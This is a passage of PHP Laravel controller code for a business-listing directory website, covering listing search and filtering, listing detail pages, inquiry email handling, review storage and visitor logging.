feature_order_listing_id' ) ->inRandomOrder() ->limit(3) ->get(); $totalFeatured_content = Count($featured_contents); $featured_contentsIds = []; if ($featured_contents) { foreach ($featured_contents as $content) { if (!in_array($content->id, $featured_contentsIds)) { array_push($featured_contentsIds, $content->id); } } } $listing_contents = ListingContent::join('listings', 'listings.id', '=', 'listing_contents.listing_id') ->join('listing_categories', 'listing_categories.id', '=', 'listing_contents.category_id') ->where('listing_contents.language_id', $language->id) ->where([ ['listings.status', '=', '1'], ['listings.visibility', '=', '1'] ]) ->when('listings.vendor_id' != "0", function ($query) { return $query->leftJoin('memberships', 'listings.vendor_id', '=', 'memberships.vendor_id') ->where(function ($query) { $query->where([ ['memberships.status', '=', 1], ['memberships.start_date', '<=', now()->format('Y-m-d')], ['memberships.expire_date', '>=', now()->format('Y-m-d')], ])->orWhere('listings.vendor_id', '=', 0); }); }) ->when('listings.vendor_id' != "0", function ($query) { return $query->leftJoin('vendors', 'listings.vendor_id', '=', 'vendors.id') ->where(function ($query) { $query->where([ ['vendors.status', '=', 1], ])->orWhere('listings.vendor_id', '=', 0); }); }) ->when($title, function ($query) use ($listingIds) { return $query->whereIn('listings.id', $listingIds); }) ->when($location, function ($query) use ($locationIds) { return $query->whereIn('listings.id', $locationIds); }) ->when($category_id, function ($query) use ($category_listingIds) { return $query->whereIn('listings.id', $category_listingIds); }) ->when($min_val && $max_val, function ($query) use ($priceIds) { return $query->whereIn('listings.id', $priceIds); }) ->when($city, function ($query) use ($cityIds) { return $query->whereIn('listings.id', $cityIds); }) ->when($featured_contents, function ($query) use ($featured_contentsIds) { return $query->whereNotIn('listings.id', $featured_contentsIds); }) ->select( 'listings.*', 'listing_contents.title', 'listing_contents.slug', 'listing_contents.category_id', 'listing_contents.city_id', 'listing_contents.state_id', 'listing_contents.country_id', 'listing_contents.description', 'listing_contents.address', 'listing_categories.name as category_name', 'listing_categories.icon as icon', ) ->orderBy($order_by_column, $order) ->get(); if ($totalFeatured_content == 3) { $perPage = 9; } elseif ($totalFeatured_content == 2) { $perPage = 10; } elseif ($totalFeatured_content == 1) { $perPage = 11; } else { $perPage = 12; } $page = 1; $offset = ($page - 1) * $perPage; $currentPageData = $listing_contents->slice($offset, $perPage); $information['categories'] = ListingCategory::where('language_id', $language->id)->where('status', 1) ->orderBy('serial_number', 'asc')->get(); $information['vendors'] = Vendor::join('memberships', 'vendors.id', '=', 'memberships.vendor_id') ->where([ ['memberships.status', '=', 1], ['memberships.start_date', '<=', Carbon::now()->format('Y-m-d')], ['memberships.expire_date', '>=', Carbon::now()->format('Y-m-d')] ]) ->get(); $information['aminites'] = Aminite::where('language_id', $language->id) ->orderBy('updated_at', 'asc')->get(); $information['countries'] = Country::where('language_id', $language->id) ->orderBy('id', 'asc')->get(); $information['states'] = State::where('language_id', $language->id) ->orderBy('id', 'asc')->get(); $information['cities'] = City::where('language_id', $language->id) ->orderBy('id', 'asc')->get(); $information['listing_contents'] = $listing_contents; $information['featured_contents'] = $featured_contents; $information['currentPageData'] = $currentPageData; $information['perPage'] = $perPage; $information['min'] = Listing::where([ ['listings.status', '=', '1'], ['listings.visibility', '=', '1'] ]) ->when('listings.vendor_id' != "0", function ($query) { return $query->leftJoin('memberships', 'listings.vendor_id', '=', 'memberships.vendor_id') ->where(function ($query) { $query->where([ ['memberships.status', '=', 1], ['memberships.start_date', '<=', now()->format('Y-m-d')], ['memberships.expire_date', '>=', now()->format('Y-m-d')], ])->orWhere('listings.vendor_id', '=', 0); }); }) ->min('listings.min_price'); $information['max'] = Listing::where([ ['listings.status', '=', '1'], ['listings.visibility', '=', '1'] ]) ->when('listings.vendor_id' != "0", function ($query) { return $query->leftJoin('memberships', 'listings.vendor_id', '=', 'memberships.vendor_id') ->where(function ($query) { $query->where([ ['memberships.status', '=', 1], ['memberships.start_date', '<=', now()->format('Y-m-d')], ['memberships.expire_date', '>=', now()->format('Y-m-d')], ])->orWhere('listings.vendor_id', '=', 0); }); })->max('max_price'); if ($view == 0) { return view('frontend.listing.listing-map', $information); } else { return view('frontend.listing.listing-gird', $information); } } public function search_listing(Request $request) { $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $information['language'] = $language; $information['seoInfo'] = $language->seoInfo()->select('meta_keyword_listings', 'meta_description_listings')->first(); $information['currencyInfo'] = $this->getCurrencyInfo(); $title = $location = $category_id = $max_val = $min_val = $ratings = $amenitie = $vendor = $country = $state = $city = null; $listingIds = []; if ($request->filled('title')) { $title = $request->title; $listing_contents = ListingContent::where('language_id', $language->id) ->where('title', 'like', '%' . $title . '%') ->get() ->pluck('listing_id'); foreach ($listing_contents as $listing_content) { if (!in_array($listing_content, $listingIds)) { array_push($listingIds, $listing_content); } } } $countryIds = []; if ($request->filled('country')) { $country = $request->country; $listing_contents = ListingContent::where('language_id', $language->id) ->where('country_id', $country) ->get() ->pluck('listing_id'); foreach ($listing_contents as $listing_content) { if (!in_array($listing_content, $countryIds)) { array_push($countryIds, $listing_content); } } } $stateIds = []; if ($request->filled('state')) { $state = $request->state; $listing_contents = ListingContent::where('language_id', $language->id) ->where('state_id', $state) ->get() ->pluck('listing_id'); foreach ($listing_contents as $listing_content) { if (!in_array($listing_content, $stateIds)) { array_push($stateIds, $listing_content); } } } $cityIds = []; if ($request->filled('city')) { $city = $request->city; $listing_contents = ListingContent::where('language_id', $language->id) ->where('city_id', $city) ->get() ->pluck('listing_id'); foreach ($listing_contents as $listing_content) { if (!in_array($listing_content, $cityIds)) { array_push($cityIds, $listing_content); } } } $vendorIds = []; if ($request->filled('vendor')) { $vendor = $vendor == 'admin' ? 0 : $request->vendor; $listing_contents = Listing::where('vendor_id', $vendor) ->get() ->pluck('id'); foreach ($listing_contents as $listing_content) { if (!in_array($listing_content, $vendorIds)) { array_push($vendorIds, $listing_content); } } } $locationIds = []; if ($request->filled('location')) { $location = $request->location; $contents = ListingContent::where('language_id', $language->id) ->where('address', 'like', '%' . $location . '%') ->get() ->pluck('listing_id'); foreach ($contents as $content) { if (!in_array($content, $locationIds)) { array_push($locationIds, $content); } } } $category_listingIds = []; if ($request->filled('category_id')) { $category = $request->category_id; $category_content = ListingCategory::where([['language_id', $language->id], ['slug', $category]])->first(); if (!empty($category_content)) { $category_id = $category_content->id; $contents = ListingContent::where('language_id', $language->id) ->where('category_id', $category_id) ->get() ->pluck('listing_id'); foreach ($contents as $content) { if (!in_array($content, $category_listingIds)) { array_push($category_listingIds, $content); } } } } $priceIds = []; if ($request->filled('min_val') && $request->filled('max_val')) { $min_val = intval($request->min_val); $max_val = intval($request->max_val); $price_products = DB::table('listings') ->select('*') ->where(function ($query) use ($min_val, $max_val) { $query->where('min_price', '>=', $min_val) ->where('max_price', '<=', $max_val); }) ->orWhere(function ($query) use ($min_val, $max_val) { $query->where('min_price', '<=', $min_val) ->where('max_price', '>=', $max_val); }) ->orWhereNot(function ($query) use ($min_val, $max_val) { $query->where('max_price', '<', $min_val) ->orWhere('min_price', '>', $max_val); }) ->get() ->pluck('id'); foreach ($price_products as $product) { if (!in_array($product, $priceIds)) { array_push($priceIds, $product); } } } $ratingIds = []; if ($request->filled('ratings')) { $ratings = $request->ratings; $contents = Listing::where('average_rating', '>=', $ratings) ->get() ->pluck('id'); foreach ($contents as $content) { if (!in_array($content, $ratingIds)) { array_push($ratingIds, $content); } } } $amenitieIds = []; if ($request->filled('amenitie')) { $amenitie = $request->amenitie; $array = explode(',', $amenitie); $contents = ListingContent::where('language_id', $language->id) ->get(['listing_id', 'aminities']); foreach ($contents as $content) { $aminities = (json_decode($content->aminities)); $listingId = $content->listing_id; $diff1 = array_diff($array, $aminities); $diff2 = array_diff($array, $aminities); if (empty($diff1) && empty($diff2)) { array_push($amenitieIds, $listingId); } } } if ($request->filled('sort')) { if ($request['sort'] == 'new') { $order_by_column = 'listings.id'; $order = 'desc'; } elseif ($request['sort'] == 'old') { $order_by_column = 'listings.id'; $order = 'asc'; } elseif ($request['sort'] == 'high') { $order_by_column = 'listings.max_price'; $order = 'desc'; } elseif ($request['sort'] == 'low') { $order_by_column = 'listings.min_price'; $order = 'asc'; } else { $order_by_column = 'listings.id'; $order = 'desc'; } } else { $order_by_column = 'listings.id'; $order = 'desc'; } $featured_contents = ListingContent::join('listings', 'listings.id', '=', 'listing_contents.listing_id') ->Join('feature_orders', 'listings.id', '=', 'feature_orders.listing_id') ->join('listing_categories', 'listing_categories.id', '=', 'listing_contents.category_id') ->where('listing_contents.language_id', $language->id) ->where('feature_orders.order_status', '=', 'completed') ->where([ ['listings.status', '=', '1'], ['listings.visibility', '=', '1'] ]) ->whereDate('feature_orders.end_date', '>=', Carbon::now()->format('Y-m-d')) ->when('listings.vendor_id' != "0", function ($query) { return $query->leftJoin('memberships', 'listings.vendor_id', '=', 'memberships.vendor_id') ->where(function ($query) { $query->where([ ['memberships.status', '=', 1], ['memberships.start_date', '<=', now()->format('Y-m-d')], ['memberships.expire_date', '>=', now()->format('Y-m-d')], ])->orWhere('listings.vendor_id', '=', 0); }); }) ->when('listings.vendor_id' != "0", function ($query) { return $query->leftJoin('vendors', 'listings.vendor_id', '=', 'vendors.id') ->where(function ($query) { $query->where([ ['vendors.status', '=', 1], ])->orWhere('listings.vendor_id', '=', 0); }); }) ->when($title, function ($query) use ($listingIds) { return $query->whereIn('listings.id', $listingIds); }) ->when($vendor, function ($query) use ($vendorIds) { return $query->whereIn('listings.id', $vendorIds); }) ->when($location, function ($query) use ($locationIds) { return $query->whereIn('listings.id', $locationIds); }) ->when($category_id, function ($query) use ($category_listingIds) { return $query->whereIn('listings.id', $category_listingIds); }) ->when($min_val && $max_val, function ($query) use ($priceIds) { return $query->whereIn('listings.id', $priceIds); }) ->when($ratings, function ($query) use ($ratingIds) { return $query->whereIn('listings.id', $ratingIds); }) ->when($amenitie, function ($query) use ($amenitieIds) { return $query->whereIn('listings.id', $amenitieIds); }) ->when($country, function ($query) use ($countryIds) { return $query->whereIn('listings.id', $countryIds); }) ->when($state, function ($query) use ($stateIds) { return $query->whereIn('listings.id', $stateIds); }) ->when($city, function ($query) use ($cityIds) { return $query->whereIn('listings.id', $cityIds); }) ->select( 'listings.*', 'listing_contents.title', 'listing_contents.slug', 'listing_contents.category_id', 'listing_contents.city_id', 'listing_contents.state_id', 'listing_contents.country_id', 'listing_contents.description', 'listing_contents.address', 'listing_categories.name as category_name', 'listing_categories.icon as icon', 'feature_orders.listing_id as feature_order_listing_id' ) ->inRandomOrder() ->limit(3) ->get(); $totalFeatured_content = Count($featured_contents); $featured_contentsIds = []; if ($featured_contents) { foreach ($featured_contents as $content) { if (!in_array($content->id, $featured_contentsIds)) { array_push($featured_contentsIds, $content->id); } } } $listing_contents = ListingContent::join('listings', 'listings.id', '=', 'listing_contents.listing_id') ->join('listing_categories', 'listing_categories.id', '=', 'listing_contents.category_id') ->where('listing_contents.language_id', $language->id) ->where([ ['listings.status', '=', '1'], ['listings.visibility', '=', '1'] ]) ->when('listings.vendor_id' != "0", function ($query) { return $query->leftJoin('memberships', 'listings.vendor_id', '=', 'memberships.vendor_id') ->where(function ($query) { $query->where([ ['memberships.status', '=', 1], ['memberships.start_date', '<=', now()->format('Y-m-d')], ['memberships.expire_date', '>=', now()->format('Y-m-d')], ])->orWhere('listings.vendor_id', '=', 0); }); }) ->when('listings.vendor_id' != "0", function ($query) { return $query->leftJoin('vendors', 'listings.vendor_id', '=', 'vendors.id') ->where(function ($query) { $query->where([ ['vendors.status', '=', 1], ])->orWhere('listings.vendor_id', '=', 0); }); }) ->when($title, function ($query) use ($listingIds) { return $query->whereIn('listings.id', $listingIds); }) ->when($vendor, function ($query) use ($vendorIds) { return $query->whereIn('listings.id', $vendorIds); }) ->when($location, function ($query) use ($locationIds) { return $query->whereIn('listings.id', $locationIds); }) ->when($category_id, function ($query) use ($category_listingIds) { return $query->whereIn('listings.id', $category_listingIds); }) ->when($min_val && $max_val, function ($query) use ($priceIds) { return $query->whereIn('listings.id', $priceIds); }) ->when($ratings, function ($query) use ($ratingIds) { return $query->whereIn('listings.id', $ratingIds); }) ->when($amenitie, function ($query) use ($amenitieIds) { return $query->whereIn('listings.id', $amenitieIds); }) ->when($country, function ($query) use ($countryIds) { return $query->whereIn('listings.id', $countryIds); }) ->when($state, function ($query) use ($stateIds) { return $query->whereIn('listings.id', $stateIds); }) ->when($city, function ($query) use ($cityIds) { return $query->whereIn('listings.id', $cityIds); }) ->when($featured_contents, function ($query) use ($featured_contentsIds) { return $query->whereNotIn('listings.id', $featured_contentsIds); }) ->select( 'listings.*', 'listing_contents.title', 'listing_contents.slug', 'listing_contents.category_id', 'listing_contents.city_id', 'listing_contents.state_id', 'listing_contents.country_id', 'listing_contents.description', 'listing_contents.address', 'listing_categories.name as category_name', 'listing_categories.icon as icon', ) ->orderBy($order_by_column, $order) ->get(); if ($totalFeatured_content == 3) { $perPage = 9; } elseif ($totalFeatured_content == 2) { $perPage = 10; } elseif ($totalFeatured_content == 1) { $perPage = 11; } else { $perPage = 12; } $page = $request->query('page'); $offset = ($page - 1) * $perPage; // Get the subset of data for the current page $currentPageData = $listing_contents->slice($offset, $perPage); $information['listing_contents'] = $listing_contents; $information['featured_contents'] = $featured_contents; $information['currentPageData'] = $currentPageData; $information['perPage'] = $perPage; return view('frontend.listing.search-listing', $information)->render(); } public function details($slug, $id) { $misc = new MiscellaneousController(); $vendorId = Listing::where('id', $id)->pluck('vendor_id')->first(); $language = $misc->getLanguage(); $listing = Listing::with(['listing_content' => function ($query) use ($language) { return $query->where('language_id', $language->id); },]) ->when($vendorId && $vendorId != 0, function ($query) { $query->join('memberships', 'listings.vendor_id', '=', 'memberships.vendor_id') ->where([ ['memberships.status', '=', 1], ['memberships.start_date', '<=', now()->format('Y-m-d')], ['memberships.expire_date', '>=', now()->format('Y-m-d')], ]); }) ->where([ ['listings.status', '=', '1'], ['listings.visibility', '=', '1'] ]) ->select('listings.*') ->where('listings.id', $id) ->firstOrFail(); $vendor_id = $listing->vendor_id; $information['bgImg'] = $misc->getBreadcrumb(); $information['listing'] = $listing; $information['listingImages'] = ListingImage::Where('listing_id', $id)->get(); $listing_content = ListingContent::where('language_id', $language->id)->where('listing_id', $id)->first(); $information['socialLinks'] = ListingSocialMedia::where('listing_id', $id)->get(); if (is_null($listing_content)) { Session::flash('error', 'No Listing information found for ' . $language->name . ' language'); return redirect()->route('index'); } $information['language'] = $language; $listing_features = ListingFeature::join('listing_feature_contents', 'listing_features.id', '=', 'listing_feature_contents.listing_feature_id') ->where('listing_id', $id) ->where('listing_feature_contents.language_id', $language->id)->get(); $information['listing_features'] = $listing_features; if ($vendorId == 0) { $information['vendor'] = Admin::first(); $information['userName'] = 'admin'; } else { $information['vendor'] = Vendor::Where('id', $vendor_id)->first(); $information['userName'] = $information['vendor']->username; $information['vendorInfo'] = VendorInfo::Where('vendor_id', $vendor_id) ->where('language_id', $language->id) ->first(); } $reviews = ListingReview::query()->where('listing_id', '=', $id)->orderByDesc('id')->get(); $reviews->map(function ($review) { $review['user'] = $review->userInfo()->first(); }); $information['reviews'] = $reviews; $numOfReview = count($reviews); $information['numOfReview'] = $numOfReview; $information['info'] = Basic::select('google_recaptcha_status')->first(); $product_contents = ListingProduct::with('galleries') ->join('listing_product_contents', 'listing_products.id', 'listing_product_contents.listing_product_id') ->where('listing_product_contents.language_id', $language->id) ->where('listing_products.listing_id', $id) ->where('listing_products.status', 1) ->select('listing_products.*', 'listing_product_contents.title', 'listing_product_contents.slug', 'listing_product_contents.content') ->paginate(9); $information['product_contents'] = $product_contents; $businessHours = BusinessHour::query()->where('listing_id', '=', $id)->orderBy('id')->get(); $information['businessHours'] = $businessHours; $faqs = ListingFaq::where('listing_id', $id) ->where('language_id', $language->id) ->orderBy('serial_number', 'asc') ->get(); $information['faqs'] = $faqs; return view('frontend.listing.listing-details', $information); } public function contact(Request $request) { $rule = [ 'name' => 'required', 'email' => 'required|email', 'phone' => 'required', 'message' => 'required', ]; $validator = Validator::make($request->all(), $rule); if ($validator->fails()) { return redirect()->back() ->with('error', 'Field is missing') ->withInput(); } $in = $request->all(); $listing = ListingMessage::create($in); $mail_template = MailTemplate::where('mail_type', 'inquiry_about_listing')->first(); $info = Basic::select('google_recaptcha_status')->first(); if ($info->google_recaptcha_status == 1) { $rules['g-recaptcha-response'] = 'required|captcha'; } $be = Basic::select('smtp_status', 'smtp_host', 'smtp_port', 'encryption', 'smtp_username', 'smtp_password', 'from_mail', 'from_name', 'to_mail', 'website_title')->firstOrFail(); $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $listing = Listing::with(['listing_content' => function ($query) use ($language) { return $query->where('language_id', $language->id); }])->where('id', $request->listing_id)->first(); $listing_name = $listing->listing_content[0]->title; $slug = $listing->listing_content[0]->slug; $url = route('frontend.listing.details', ['slug' => $slug, 'id' => $listing->id]); if ($listing->vendor_id != 0) { $vendor = Vendor::where('id', $listing->vendor_id)->select('to_mail', 'username', 'email')->first(); if (isset($vendor->to_mail)) { $send_email_address = $vendor->to_mail; } else { $send_email_address = $vendor->email; } $user_name = $vendor->username; } else { $send_email_address = $be->to_mail; $user_name = 'Admin'; } if ($be->smtp_status == 1) { $subject = 'Inquiry about ' . $listing_name; $body = $mail_template->mail_body; $body = preg_replace("/{username}/", $user_name, $body); $body = preg_replace("/{listing_name}/", "$listing_name", $body); $body = preg_replace("/{enquirer_name}/", $request->name, $body); $body = preg_replace("/{enquirer_email}/", $request->email, $body); $body = preg_replace("/{enquirer_phone}/", $request->phone, $body); $body = preg_replace("/{enquirer_message}/", nl2br($request->message), $body); $body = preg_replace("/{website_title}/", $be->website_title, $body); // if smtp status == 1, then set some value for PHPMailer if ($be->smtp_status == 1) { try { $smtp = [ 'transport' => 'smtp', 'host' => $be->smtp_host, 'port' => $be->smtp_port, 'encryption' => $be->encryption, 'username' => $be->smtp_username, 'password' => $be->smtp_password, 'timeout' => null, 'auth_mode' => null, ]; Config::set('mail.mailers.smtp', $smtp); } catch (\Exception $e) { Session::flash('error', $e->getMessage()); return back(); } } try { $data = [ 'to' => $send_email_address, 'subject' => $subject, 'body' => $body, ]; if ($be->smtp_status == 1) { Mail::send([], [], function (Message $message) use ($data, $be) { $fromMail = $be->from_mail; $fromName = $be->from_name; $message->to($data['to']) ->subject($data['subject']) ->from($fromMail, $fromName) ->html($data['body'], 'text/html'); }); } Session::flash('success', 'Message sent successfully'); return back(); } catch (Exception $e) { Session::flash('error', 'Something went wrong.'); return back(); } } } public function productContact(Request $request) { $mail_template = MailTemplate::where('mail_type', 'inquiry_about_product')->first(); $rule = [ 'name' => 'required', 'email' => 'required|email', 'message' => 'required', ]; $validator = Validator::make($request->all(), $rule); if ($validator->fails()) { return redirect()->back() ->with('error', 'Field is missing') ->withInput(); } $info = Basic::select('google_recaptcha_status')->first(); if ($info->google_recaptcha_status == 1) { $rules['g-recaptcha-response'] = 'required|captcha'; } $be = Basic::select('smtp_status', 'smtp_host', 'smtp_port', 'encryption', 'smtp_username', 'smtp_password', 'from_mail', 'from_name', 'to_mail', 'website_title')->firstOrFail(); $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $product = ListingProduct::with(['listing_product_content' => function ($query) use ($language) { return $query->where('language_id', $language->id); }])->where('id', $request->product_id)->first(); $listing = Listing::with(['listing_content' => function ($query) use ($language) { return $query->where('language_id', $language->id); }])->where('id', $product->listing_id)->first(); $listing_name = $listing->listing_content[0]->title; $slug = $listing->listing_content[0]->slug; $url = route('frontend.listing.details', ['slug' => $slug, 'id' => $listing->id]); $product_name = $product->listing_product_content->title; $in = $request->all(); $message = ProductMessage::create($in); if ($message->vendor_id != 0) { $vendor = Vendor::where('id', $message->vendor_id)->select('to_mail', 'username', 'email')->first(); if (isset($vendor->to_mail)) { $send_email_address = $vendor->to_mail; } else { $send_email_address = $vendor->email; } $user_name = $vendor->username; } else { $send_email_address = $be->to_mail; $user_name = 'Admin'; } if ($be->smtp_status == 1) { $subject = 'Inquiry about ' . $product_name; $body = $mail_template->mail_body; $body = preg_replace("/{username}/", $user_name, $body); $body = preg_replace("/{listing_name}/", "$listing_name", $body); $body = preg_replace("/{product_name}/", $product_name, $body); $body = preg_replace("/{enquirer_name}/", $request->name, $body); $body = preg_replace("/{enquirer_email}/", $request->email, $body); $body = preg_replace("/{enquirer_message}/", nl2br($request->message), $body); $body = preg_replace("/{website_title}/", $be->website_title, $body); // if smtp status == 1, then set some value for PHPMailer if ($be->smtp_status == 1) { try { $smtp = [ 'transport' => 'smtp', 'host' => $be->smtp_host, 'port' => $be->smtp_port, 'encryption' => $be->encryption, 'username' => $be->smtp_username, 'password' => $be->smtp_password, 'timeout' => null, 'auth_mode' => null, ]; Config::set('mail.mailers.smtp', $smtp); } catch (\Exception $e) { Session::flash('error', $e->getMessage()); return back(); } } try { $data = [ 'to' => $send_email_address, 'subject' => $subject, 'body' => $body, ]; if ($be->smtp_status == 1) { Mail::send([], [], function (Message $message) use ($data, $be) { $fromMail = $be->from_mail; $fromName = $be->from_name; $message->to($data['to']) ->subject($data['subject']) ->from($fromMail, $fromName) ->html($data['body'], 'text/html'); }); } Session::flash('success', 'Message sent successfully'); return back(); } catch (Exception $e) { Session::flash('error', 'Something went wrong.'); return back(); } } } public function storeReview(Request $request, $id) { $rule = ['rating' => 'required']; $validator = Validator::make($request->all(), $rule); if ($validator->fails()) { return redirect()->back() ->with('error', 'The rating field is required for product review.') ->withInput(); } $user = Auth::guard('web')->user(); if ($user) { ListingReview::updateOrCreate( ['user_id' => $user->id, 'listing_id' => $id], ['review' => $request->review, 'rating' => $request->rating] ); // now, get the average rating of this product $reviews = ListingReview::where('listing_id', $id)->get(); $totalRating = 0; foreach ($reviews as $review) { $totalRating += $review->rating; } $numOfReview = count($reviews); $averageRating = $totalRating / $numOfReview; // finally, store the average rating of this Listing Listing::find($id)->update(['average_rating' => $averageRating]); Session::flash('success', 'Your review submitted successfully.'); } else { Session::flash('error', 'You have to Login First!'); } return redirect()->back(); } public function store_visitor(Request $request) { $request->validate([ 'listing_id' ]); $ipAddress = \Request::ip(); $check = Visitor::where([['listing_id', $request->listing_id], ['ip_address', $ipAddress], ['date', Carbon::now()->format('y-m-d')]])->first(); $listing = Listing::where('id', $request->listing_id)->first(); if ($listing) { if (!$check) { $visitor = new Visitor(); $visitor->listing_id = $request->listing_id; $visitor->ip_address = $ipAddress; $visitor->vendor_id = $listing->vendor_id; $visitor->date = Carbon::now()->format('y-m-d'); $visitor->save(); } } } } PK(\^[iCiC,Http/Controllers/FrontEnd/HomeController.phpnu[pluck('theme_version')->first(); $secInfo = Section::query()->first(); $misc = new MiscellaneousController(); $language = $misc->getLanguage(); $information['language'] = $language; $information['seoInfo'] = $language->seoInfo()->select('meta_keyword_home', 'meta_description_home')->first(); if ($secInfo->about_section_status == 1) { $information['aboutSectionImage'] = Basic::query()->pluck('about_section_image')->first(); $information['aboutSecInfo'] = $language->aboutSection()->first(); } if ($themeVersion == 2) { $information['categorySectionImage'] = Basic::query()->pluck('category_section_background')->first(); } $information['catgorySecInfo'] = CategorySection::where('language_id', $language->id)->first(); if ($themeVersion == 2) { $information['featuredSecInfo'] = FeatureSection::where('language_id', $language->id)->first(); } $information['listingSecInfo'] = ListingSection::where('language_id', $language->id)->first(); $information['packageSecInfo'] = PackageSection::where('language_id', $language->id)->first(); if ($secInfo->work_process_section_status == 1 && ($themeVersion == 1 || $themeVersion == 4)) { $information['workProcessSecInfo'] = $language->workProcessSection()->first(); $information['processes'] = $language->workProcess()->orderBy('serial_number', 'asc')->get(); } if ($secInfo->counter_section_status == 1) { $information['counterSectionImage'] = Basic::query()->pluck('counter_section_image')->first(); $information['counterSectionInfo'] = CounterSection::where('language_id', $language->id)->first(); $information['counters'] = $language->counterInfo()->orderByDesc('id')->get(); } $information['currencyInfo'] = $this->getCurrencyInfo(); $information['testimonialSecInfo'] = $language->testimonialSection()->first(); $information['testimonials'] = $language->testimonial()->orderByDesc('id')->get(); $information['testimonialSecImage'] = Basic::query()->pluck('testimonial_section_image')->first(); $information['heroSection'] = HeroSection::where('language_id', $language->id)->first(); $information['heroSectionImage'] = Basic::query()->pluck('hero_section_background_img')->first(); if (($themeVersion == 1 || $themeVersion == 4) && $secInfo->call_to_action_section_status == 1) { $information['callToActionSectionImage'] = Basic::query()->pluck('call_to_action_section_image')->first(); $information['callToActionSectionHighlightImage'] = Basic::query()->pluck('call_to_action_section_highlight_image')->first(); $information['callToActionSecInfo'] = $language->callToActionSection()->first(); } if ($themeVersion == 2 || $themeVersion == 4) { $information['videoSectionImage'] = Basic::query()->pluck('video_section_image')->first(); $information['videoSecInfo'] = $language->videoSection()->first(); } if ($secInfo->blog_section_status == 1) { $information['blogSecInfo'] = $language->blogSection()->first(); $information['blogs'] = Blog::query()->join('blog_informations', 'blogs.id', '=', 'blog_informations.blog_id') ->join('blog_categories', 'blog_categories.id', '=', 'blog_informations.blog_category_id') ->where('blog_informations.language_id', '=', $language->id) ->select('blogs.image', 'blogs.id', 'blog_categories.name AS categoryName', 'blog_categories.slug AS categorySlug', 'blog_informations.title', 'blog_informations.slug', 'blog_informations.author', 'blogs.created_at', 'blog_informations.content') ->orderBy('blogs.serial_number', 'desc') ->limit(3) ->get(); $blog_count = Blog::query()->join('blog_informations', 'blogs.id', '=', 'blog_informations.blog_id') ->join('blog_categories', 'blog_categories.id', '=', 'blog_informations.blog_category_id') ->where('blog_informations.language_id', '=', $language->id) ->select('blogs.image', 'blogs.id', 'blog_categories.name AS categoryName', 'blog_categories.slug AS categorySlug', 'blog_informations.title', 'blog_informations.slug', 'blog_informations.author', 'blogs.created_at', 'blog_informations.content') ->get(); $information['blog_count'] = $blog_count; } $information['locationSecInfo'] = $language->locationSection()->first(); $categories = ListingCategory::withCount('listing_contents')->has('listing_contents')->where('language_id', $language->id)->where('status', 1)->orderBy('serial_number', 'asc')->get(); $information['categories'] = $categories; if ($themeVersion == 2 || $themeVersion == 3) { $cities = City::withCount('listing_city')->has('listing_city')->where('language_id', $language->id)->orderBy('updated_at', 'asc')->get(); $information['cities'] = $cities; } $information['secInfo'] = $secInfo; $terms = []; if (Package::query()->where('status', '1')->where('term', 'monthly')->count() > 0) { $terms[] = 'Monthly'; } if (Package::query()->where('status', '1')->where('term', 'yearly')->count() > 0) { $terms[] = 'Yearly'; } if (Package::query()->where('status', '1')->where('term', 'lifetime')->count() > 0) { $terms[] = 'Lifetime'; } $information['terms'] = $terms; if ($themeVersion == 1 || $themeVersion == 2) { $listingContentsLimit = 4; } else { $listingContentsLimit = 6; } $listing_contents = ListingContent::join('listings', 'listings.id', '=', 'listing_contents.listing_id') ->Join('feature_orders', 'listings.id', '=', 'feature_orders.listing_id') ->join('listing_categories', 'listing_categories.id', '=', 'listing_contents.category_id') ->where('listing_contents.language_id', $language->id) ->where('feature_orders.order_status', '=', 'completed') ->where([ ['listings.status', '=', '1'], ['listings.visibility', '=', '1'] ]) ->when('listings.vendor_id' != "0", function ($query) { return $query->leftJoin('memberships', 'listings.vendor_id', '=', 'memberships.vendor_id') ->where(function ($query) { $query->where([ ['memberships.status', '=', 1], ['memberships.start_date', '<=', now()->format('Y-m-d')], ['memberships.expire_date', '>=', now()->format('Y-m-d')], ])->orWhere('listings.vendor_id', '=', 0); }); }) ->when('listings.vendor_id' != "0", function ($query) { return $query->leftJoin('vendors', 'listings.vendor_id', '=', 'vendors.id') ->where(function ($query) { $query->where([ ['vendors.status', '=', 1], ])->orWhere('listings.vendor_id', '=', 0); }); }) ->whereDate('feature_orders.end_date', '>=', Carbon::now()->format('Y-m-d')) ->select( 'listings.*', 'listing_contents.title', 'listing_contents.slug', 'listing_contents.category_id', 'listing_contents.city_id', 'listing_contents.state_id', 'listing_contents.country_id', 'listing_contents.description', 'listing_contents.address', 'listing_categories.name as category_name', 'listing_categories.icon as icon', 'feature_orders.listing_id as feature_order_listing_id' ) ->inRandomOrder() ->limit($listingContentsLimit) ->get(); $information['listing_contents'] = $listing_contents; $total_listing_contents = ListingContent::join('listings', 'listings.id', '=', 'listing_contents.listing_id') ->Join('feature_orders', 'listings.id', '=', 'feature_orders.listing_id') ->join('listing_categories', 'listing_categories.id', '=', 'listing_contents.category_id') ->where('listing_contents.language_id', $language->id) ->where('feature_orders.order_status', '=', 'completed') ->where([ ['listings.status', '=', '1'], ['listings.visibility', '=', '1'] ]) ->when('listings.vendor_id' != "0", function ($query) { return $query->leftJoin('memberships', 'listings.vendor_id', '=', 'memberships.vendor_id') ->where(function ($query) { $query->where([ ['memberships.status', '=', 1], ['memberships.start_date', '<=', now()->format('Y-m-d')], ['memberships.expire_date', '>=', now()->format('Y-m-d')], ])->orWhere('listings.vendor_id', '=', 0); }); }) ->when('listings.vendor_id' != "0", function ($query) { return $query->leftJoin('vendors', 'listings.vendor_id', '=', 'vendors.id') ->where(function ($query) { $query->where([ ['vendors.status', '=', 1], ])->orWhere('listings.vendor_id', '=', 0); }); }) ->whereDate('feature_orders.end_date', '>=', Carbon::now()->format('Y-m-d')) ->select( 'listings.*', 'listing_contents.title', 'listing_contents.slug', 'listing_contents.category_id', 'listing_contents.city_id', 'listing_contents.state_id', 'listing_contents.country_id', 'listing_contents.description', 'listing_contents.address', 'listing_categories.name as category_name', 'listing_categories.icon as icon', 'feature_orders.listing_id as feature_order_listing_id' ) ->get(); $information['total_listing_contents'] = $total_listing_contents; if ($themeVersion == 2) { $latest_listing_contents = ListingContent::join('listings', 'listings.id', '=', 'listing_contents.listing_id') ->join('listing_categories', 'listing_categories.id', '=', 'listing_contents.category_id') ->where('listing_contents.language_id', $language->id) ->where([ ['listings.status', '=', '1'], ['listings.visibility', '=', '1'] ]) ->when( 'listings.vendor_id' != "0", function ($query) { return $query->leftJoin('memberships', 